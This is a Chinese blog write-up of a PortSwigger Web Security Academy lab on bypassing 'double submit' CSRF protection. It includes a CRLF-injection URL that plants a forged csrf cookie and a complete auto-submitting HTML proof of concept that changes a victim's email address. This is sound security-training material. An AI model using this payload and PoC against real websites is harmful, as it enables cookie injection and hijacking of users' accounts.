Lab: CSRF where token is duplicated in cookie CSRF,其中令牌在 cookie 中重复

在上述漏洞的进一步变体中,一些应用程序不维护任何已发布令牌的服务器端记录,而是在 cookie 和请求参数中复制每个令牌。在验证后续请求时,应用程序只需验证请求参数中提交的令牌是否与 cookie 中提交的值匹配。这有时被称为针对 CSRF 的“双重提交”防御,并且被提倡是因为它易于实现并且避免了任何服务器端状态的需要:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa

csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com

在这种情况下,如果网站包含任何 cookie 设置功能,攻击者可以再次执行 CSRF 攻击。在这里,攻击者不需要获得他们自己的有效令牌。他们只是发明了一个令牌(可能是所需的格式,如果正在检查),利用 cookie 设置行为将他们的 cookie 放入受害者的浏览器,并在他们的 CSRF 攻击中将他们的令牌提供给受害者。

本实验室的电子邮件更改功能易受 CSRF 攻击。它试图使用不安全的“双重提交”CSRF 预防技术。

要解决该实验,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。

您可以使用以下凭据登录自己的帐户: wiener:peter

方法

使用您的浏览器通过 Burp Suite 代理流量,登录您的帐户,提交“更新电子邮件”表单,然后在您的代理历史记录中找到生成的请求。
将请求发送到 Burp Repeater 并观察csrfbody 参数的值只是通过将它与csrfcookie进行比较来验证。
image
执行搜索,将结果请求发送到 Burp Repeater,并观察搜索词是否反映在 Set-Cookie 标头中。由于搜索功能没有 CSRF 保护,您可以使用它来将 cookie 注入受害者用户的浏览器。
image
创建一个 URL,利用此漏洞将虚假csrfcookie 注入受害者的浏览器:
/?search=test%0d%0aSet-Cookie:%20csrf=fake
image
按照没有防御实验室 的CSRF 漏洞解决方案中的说明创建并托管概念验证漏洞利用,确保您的CSRF 令牌设置为“假”。应该从电子邮件更改请求中创建漏洞利用。
删除脚本块,改为添加以下代码以注入 cookie 并提交表单:

存储漏洞,然后单击“交付给受害者”以解决实验室问题。

代码如下:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://ac131fb51eff23f3804fc2d8002100d1.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="wiener&#64;administrator&#46;net" />
      <input type="hidden" name="csrf" value="1234abcd" />
    </form>
<img src="https://ac131fb51eff23f3804fc2d8002100d1.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=1234abcd" onerror="document.forms[0].submit();"/>
  </body>
</html>

posted @ 2021-08-26 12:00  Zeker62  阅读(196)  评论(0编辑  收藏  举报